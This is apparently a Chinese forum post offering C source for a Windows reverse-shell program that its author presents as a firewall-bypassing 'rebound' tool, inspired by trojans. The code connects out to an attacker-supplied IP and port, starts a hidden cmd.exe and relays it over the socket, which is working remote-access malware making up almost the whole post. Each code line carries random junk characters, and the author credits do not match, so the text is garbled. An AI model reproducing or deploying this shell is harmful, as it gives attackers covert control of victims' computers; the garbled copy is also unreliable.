这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {Rw~G&vQ
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/* ============================== n3b@6V1_
Rebound port in Windows NT w6Tb<ja
By wind,2006/7 o<l4}~a
===============================*/ -07(#>
#include ",8h>eEWK
#include a9jY^E'|n
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#pragma comment(lib,"wsock32.lib") n7<<}wcV
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void OutputShell(); NK#Dq&W+&
SOCKET sClient; sQihyq6U;
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nNilTJ
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void main(int argc,char **argv) F/EHU?_EI
{ "l +Jx|h\
WSADATA stWsaData; 6u:5]e8
int nRet; 29Q5s$YD@
SOCKADDR_IN stSaiClient,stSaiServer; KI>7h.t
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if(argc != 3) J;T_9
{ c@nl;u)n
printf("Useage:\n\rRebound DestIP DestPort\n"); )If[pw@j
return; s:]rL&|
} @fE^w^K7
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WSAStartup(MAKEWORD(2,2),&stWsaData); eIqj7UY_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zRE7 w:
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stSaiClient.sin_family = AF_INET; ]B,S <*h
stSaiClient.sin_port = htons(0); 0|^x[dh
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Fsq S)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |g'sRTKJ
{ nM0nQ{6
printf("Bind Socket Failed!\n"); [Z5x_.k"I
return; Z(}x7j zW
} WVNQ}KY
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stSaiServer.sin_family = AF_INET; |[{;*wtv
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {YGz=5 ^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s)M2Z3>+
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g3Xz-
{ 9lD,aOb
printf("Connect Error!"); G8;S`-D1a,
return; TM^1{0;r5
} .i=%gg
OutputShell(); \W(p )M
} PZ ogN
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void OutputShell() %DV@ 2rC<
{ -91l"sI
char szBuff[1024]; k]>k1Mi=
SECURITY_ATTRIBUTES stSecurityAttributes; NqwVsVL
OSVERSIONINFO stOsversionInfo; Q[b({Vj;tG
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6/-!oo
STARTUPINFO stStartupInfo; l =_@<p
char *szShell; -y\N 9
PROCESS_INFORMATION stProcessInformation; j qdI=!H
unsigned long lBytesRead; ?\O+#U%W
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0}^-, Q,
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U1"t|KW8
stSecurityAttributes.lpSecurityDescriptor = 0; ROjjN W`W
stSecurityAttributes.bInheritHandle = TRUE; zgRP!q<9tt
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #P4dx'vm
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qA~D*=
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); FSQ&J|O
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v|/3Mi9mz
stStartupInfo.wShowWindow = SW_HIDE; o6y,M!p@
stStartupInfo.hStdInput = hReadPipe; &=?`;K
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7IHD?pnZ
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GetVersionEx(&stOsversionInfo); fhY[I0;}$
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switch(stOsversionInfo.dwPlatformId) N*SgP@Bt
{ Xou#38&p>
case 1: ~c="<xBE
szShell = "command.com"; 6_y|4!,:W
break; ~r!5d@f.6
default: %'t~e?d!
szShell = "cmd.exe"; 3N
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break; rqFs[1wr>R
} t@u\ 4bv
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); qbEj\
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send(sClient,szMsg,77,0); ommKf[h%i
while(1) eTF8B<?
{ a`-hLX)~Z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &CL|q+-
if(lBytesRead) *3/7wSV:
{ 1 :Yt2]
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bg ,}J/
send(sClient,szBuff,lBytesRead,0); [[e |GQ
} #c^Q<&B
else 8Wj=|Ow-q
{ w}Upa(dU
lBytesRead=recv(sClient,szBuff,1024,0); ZW?7g+P
if(lBytesRead<=0) break; ~^^ey17
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); yo*iv+l
} &
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} |%}s$*s
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return; eCp| QSXE
}